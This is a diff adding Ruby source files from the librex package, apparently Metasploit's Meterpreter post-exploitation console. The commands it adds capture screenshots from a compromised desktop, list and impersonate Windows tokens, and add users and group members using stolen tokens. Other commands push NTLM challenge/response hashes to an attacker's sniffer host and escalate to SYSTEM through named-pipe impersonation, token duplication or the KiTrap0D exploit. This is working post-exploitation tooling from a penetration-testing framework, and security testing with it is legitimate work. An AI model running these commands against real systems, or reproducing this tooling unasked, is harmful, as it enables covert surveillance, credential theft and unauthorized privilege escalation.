librex 0.0.1

data/lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb

@@ -0,0 +1,108 @@
+require 'rex/post/meterpreter'
+
+module Rex
+module Post
+module Meterpreter
+module Ui
+
+###
+#
+# Espia - Capture audio, video, screenshots from the remote system
+#
+###
+class Console::CommandDispatcher::Espia
+
+	Klass = Console::CommandDispatcher::Espia
+
+	include Console::CommandDispatcher
+
+	#
+	# Initializes an instance of the espia command interaction.
+	#
+	def initialize(shell)
+		super
+	end
+
+	#
+	# List of supported commands.
+	#
+	def commands
+		{
+	#		"dev_image"  => "Attempt to grab a frame from webcam",
+	#		"dev_audio"  => "Attempt to record microphone audio",
+			"screengrab" => "Attempt to grab screen shot from process's active desktop"
+		}
+	end
+
+	def cmd_dev_image()
+		client.espia.espia_video_get_dev_image()
+		print_line("[*] Done.")
+
+		return true
+	end
+
+	def cmd_dev_audio(*args)
+		maxrec = 60
+
+		if (args.length < 1)
+			print_line("Usage: dev_audio <rec_secs>\n")
+			print_line("Record mic audio\n")
+			return true
+		end
+
+		secs = args[0].to_i
+		if secs  > 0 and secs <= maxrec
+			milsecs = secs*1000
+			print_line("[*] Recording #{milsecs} miliseconds.\n")
+			client.espia.espia_audio_get_dev_audio(milsecs)
+			print_line("[*] Done.")
+		else
+			print_line("[-] Error: Recording time 0 to 60 secs \n")
+		end
+
+		return true
+	end
+
+	#
+	# Grab a screenshot of the current interactive desktop.
+	#
+	def cmd_screengrab( *args )
+		if( args[0] and args[0] == "-h" )
+			print_line("Usage: screengrab <path.jpeg> [view in browser: true|false]\n")
+			print_line("Grab a screenshot of the current interactive desktop.\n")
+			return true
+		end
+		
+		show = true
+		show = false if (args[1] and args[1] =~ /^(f|n|0)/i)
+		
+		path = args[0] || Rex::Text.rand_text_alpha(8) + ".jpeg"
+		
+		data = client.espia.espia_image_get_dev_screen
+		
+		if( data )
+			::File.open( path, 'wb' ) do |fd|
+				fd.write( data )
+			end
+			path = ::File.expand_path( path )
+			print_line( "Screenshot saved to: #{path}" )
+			Rex::Compat.open_file( path ) if show
+		end
+		
+		return true
+	end
+
+	#
+	# Name for this dispatcher
+	#
+	def name
+		"Espia"
+	end
+
+end
+
+end
+end
+end
+end
+

data/lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb

@@ -0,0 +1,241 @@
+require 'rex/post/meterpreter'
+
+module Rex
+module Post
+module Meterpreter
+module Ui
+
+###
+#
+# Privilege escalation extension user interface.
+#
+###
+class Console::CommandDispatcher::Incognito
+
+	Klass = Console::CommandDispatcher::Incognito
+
+	include Console::CommandDispatcher
+
+	#
+	# Initializes an instance of the priv command interaction.
+	#
+	def initialize(shell)
+		super
+	end
+
+	#
+	# List of supported commands.
+	#
+	def commands
+		{
+			"add_user" => "Attempt to add a user with all tokens",
+			"add_localgroup_user" => "Attempt to add a user to a local group with all tokens",
+			"add_group_user" => "Attempt to add a user to a global group with all tokens",
+			"list_tokens" => "List tokens available under current user context",
+			"impersonate_token" => "Impersonate specified token",
+			"snarf_hashes" => "Snarf challenge/response hashes for every token"
+		}
+	end
+
+
+	@@add_user_opts = Rex::Parser::Arguments.new(
+		"-h" => [ true,  "Add user to remote host" ])
+
+	@@add_localgroup_user_opts = Rex::Parser::Arguments.new(
+		"-h" => [ true,  "Add user to local group on remote host" ])
+
+	@@add_group_user_opts = Rex::Parser::Arguments.new(
+		"-h" => [ true,  "Add user to global group on remote host" ])
+
+	@@list_tokens_opts = Rex::Parser::Arguments.new(
+		"-u" => [ false,  "List tokens by unique username" ],
+		"-g" => [ false, "List tokens by unique groupname" ])
+
+	def cmd_list_tokens(*args)
+		token_order = -1
+
+		@@list_tokens_opts.parse(args) { |opt, idx, val|
+			case opt
+				when "-u"
+					token_order = 0
+				when "-g"
+					token_order = 1
+			end
+		}
+
+		if (token_order == -1)
+			print_line("Usage: list_tokens <list_order_option>\n")
+			print_line("Lists all accessible tokens and their privilege level")
+			print_line(@@list_tokens_opts.usage)
+			return
+		end
+
+		system_privilege_check
+
+		tokens = client.incognito.incognito_list_tokens(token_order)
+
+		print_line()
+		print_line("Delegation Tokens Available")
+		print_line("========================================")
+
+		tokens['delegation'].each_line { |string|
+			print(string)
+		}
+
+		print_line()
+		print_line("Impersonation Tokens Available")
+		print_line("========================================")
+
+		tokens['impersonation'].each_line { |string|
+			print(string)
+		}
+
+		print_line()
+
+		return true
+	end
+
+	def cmd_impersonate_token(*args)
+		if (args.length < 1)
+			print_line("Usage: impersonate_token <token>\n")
+			print_line("Instructs the meterpreter thread to impersonate the specified token. All other actions will then be made in the context of that token.\n")
+			print_line("Hint: Double backslash DOMAIN\\\\name (meterpreter quirk)")
+			print_line("Hint: Enclose with quotation marks if name contains a space\n")
+			return
+		end
+
+		system_privilege_check
+		username = args[0]
+		client.incognito.incognito_impersonate_token(username).each_line { |string|
+			print(string)
+		}
+
+		return true
+	end
+
+	def cmd_add_user(*args)
+		# Default to localhost
+		host = "127.0.0.1"
+
+		@@add_user_opts.parse(args) { |opt, idx, val|
+			case opt
+				when "-h"
+					host = val
+			end
+		}
+				
+		if (args.length < 2)
+			print_line("Usage: add_user <username> <password> [options]\n")
+			print_line("Attempts to add a user to a host with all accessible tokens. Terminates when successful, an error that is not access denied occurs (e.g. password does not meet complexity requirements) or when all tokens are exhausted")
+			print_line(@@add_user_opts.usage)
+			return
+		end
+
+		system_privilege_check
+
+		username = args[0]
+		password = args[1]
+
+		client.incognito.incognito_add_user(host, username, password).each_line { |string|
+			print(string)
+		}
+
+		return true
+	end
+
+	def cmd_add_localgroup_user(*args)
+		# Default to localhost
+		host = "127.0.0.1"
+
+		@@add_localgroup_user_opts.parse(args) { |opt, idx, val|
+			case opt
+				when "-h"
+					host = val
+			end
+		}
+				
+		if (args.length < 2)
+			print_line("Usage: add_localgroup_user <groupname> <username> [options]\n")
+			print_line("Attempts to add a user to a local group on a host with all accessible tokens. Terminates when successful, an error that is not access denied occurs (e.g. user not found) or when all tokens are exhausted")
+			print_line(@@add_localgroup_user_opts.usage)
+			return
+		end
+
+		system_privilege_check
+
+		groupname = args[0]
+		username = args[1]
+
+		client.incognito.incognito_add_localgroup_user(host, groupname, username).each_line { |string|
+			print(string)
+		}
+
+		return true
+	end
+
+	def cmd_add_group_user(*args)
+		# Default to localhost
+		host = "127.0.0.1"
+
+		@@add_group_user_opts.parse(args) { |opt, idx, val|
+			case opt
+				when "-h"
+					host = val
+			end
+		}
+				
+		if (args.length < 2)
+			print_line("Usage: add_group_user <groupname> <username> [options]\n")
+			print_line("Attempts to add a user to a global group on a host with all accessible tokens. Terminates when successful, an error that is not access denied occurs (e.g. user not found) or when all tokens are exhausted")
+			print_line(@@add_group_user_opts.usage)
+			return
+		end
+
+		system_privilege_check
+
+		groupname = args[0]
+		username = args[1]
+
+		client.incognito.incognito_add_group_user(host, groupname, username).each_line { |string|
+			print(string)
+		}
+
+		return true
+	end
+
+	def cmd_snarf_hashes(*args)
+		if (args.length < 1)
+			print_line("Usage: snarf_hashes <sniffer_host>\n")
+			print_line("Captures LANMAN/NTLM challenge response hashes by making SMB requests to the supplied sniffing host with every accessible token.\n")
+			return
+		end
+
+		system_privilege_check
+
+		print_line("[*] Snarfing token hashes...")
+		client.incognito.incognito_snarf_hashes(args[0])
+		print_line("[*] Done. Check sniffer logs")
+		
+		return true
+	end
+
+	def system_privilege_check
+		if (client.sys.config.getuid != "NT AUTHORITY\\SYSTEM")
+			print_line("[-] Warning: Not currently running as SYSTEM, not all tokens will be available")
+			print_line("             Call rev2self if primary process token is SYSTEM")
+		end
+	end
+
+	#
+	# Name for this dispatcher
+	#
+	def name
+		"Incognito"
+	end
+
+end
+
+end
+end
+end
+end

data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv.rb

@@ -0,0 +1,61 @@
+require 'rex/post/meterpreter'
+
+module Rex
+module Post
+module Meterpreter
+module Ui
+
+###
+#
+# Privilege escalation extension user interface.
+#
+###
+class Console::CommandDispatcher::Priv
+
+	require 'rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate'
+	require 'rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd'
+	require 'rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp'
+
+	Klass = Console::CommandDispatcher::Priv
+
+	Dispatchers = 
+		[
+			Klass::Elevate,
+			Klass::Passwd,
+			Klass::Timestomp,
+		]
+
+	include Console::CommandDispatcher
+
+	#
+	# Initializes an instance of the priv command interaction.
+	#
+	def initialize(shell)
+		super
+
+		Dispatchers.each { |d|
+			shell.enstack_dispatcher(d)
+		}
+	end
+
+	#
+	# List of supported commands.
+	#
+	def commands
+		{
+		}
+	end
+
+	#
+	# Name for this dispatcher
+	#
+	def name
+		"Privilege Escalation"
+	end
+
+end
+
+end
+end
+end
+end

data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb

@@ -0,0 +1,98 @@
+require 'rex/post/meterpreter'
+
+module Rex
+module Post
+module Meterpreter
+module Ui
+
+###
+#
+# The local privilege escalation portion of the extension.
+#
+###
+class Console::CommandDispatcher::Priv::Elevate
+
+	Klass = Console::CommandDispatcher::Priv::Elevate
+
+	include Console::CommandDispatcher
+	
+	ELEVATE_TECHNIQUE_NONE					= -1
+	ELEVATE_TECHNIQUE_ANY					= 0
+	ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE		= 1
+	ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2	= 2
+	ELEVATE_TECHNIQUE_SERVICE_TOKENDUP		= 3
+	ELEVATE_TECHNIQUE_VULN_KITRAP0D			= 4
+
+	ELEVATE_TECHNIQUE_DESCRIPTION = [ 	"All techniques available", 
+										"Service - Named Pipe Impersonation (In Memory/Admin)",
+										"Service - Named Pipe Impersonation (Dropper/Admin)",
+										"Service - Token Duplication (In Memory/Admin)",
+										"Exploit - KiTrap0D (In Memory/User)"
+									]
+	#
+	# List of supported commands.
+	#
+	def commands
+		{
+			"getsystem" => "Attempt to elevate your privilege to that of local system."
+		}
+	end
+
+	#
+	# Name for this dispatcher.
+	#
+	def name
+		"Priv: Elevate"
+	end
+	
+
+	#
+	# Attempt to elevate the meterpreter to that of local system.
+	#
+	def cmd_getsystem( *args )
+	
+		technique = ELEVATE_TECHNIQUE_ANY
+		
+		desc = ""
+		ELEVATE_TECHNIQUE_DESCRIPTION.each_index { |i| desc += "\n\t\t#{i} : #{ELEVATE_TECHNIQUE_DESCRIPTION[i]}" }
+		
+		getsystem_opts = Rex::Parser::Arguments.new(
+			"-h" => [ false, "Help Banner." ],
+			"-t" => [ true, "The technique to use. (Default to \'#{technique}\')." + desc ]
+		)
+		
+		getsystem_opts.parse(args) { | opt, idx, val |
+			case opt
+				when "-h"
+					print_line( "Usage: getsystem [options]\n" )
+					print_line( "Attempt to elevate your privilege to that of local system." )
+					print_line( getsystem_opts.usage )
+					return
+				when "-t"
+					technique = val.to_i
+			end
+		}
+
+		if( technique < 0 or technique >= ELEVATE_TECHNIQUE_DESCRIPTION.length )
+			print_error( "Technique '#{technique}' is out of range." );
+			return false;
+		end
+			
+		result = client.priv.getsystem( technique )
+		
+		# got system?
+		if result[0]
+			print_line( "...got system (via technique #{result[1]})." );
+		else
+			print_line( "...failed to get system." );
+		end
+		
+		return result
+	end
+
+end
+
+end
+end
+end
+end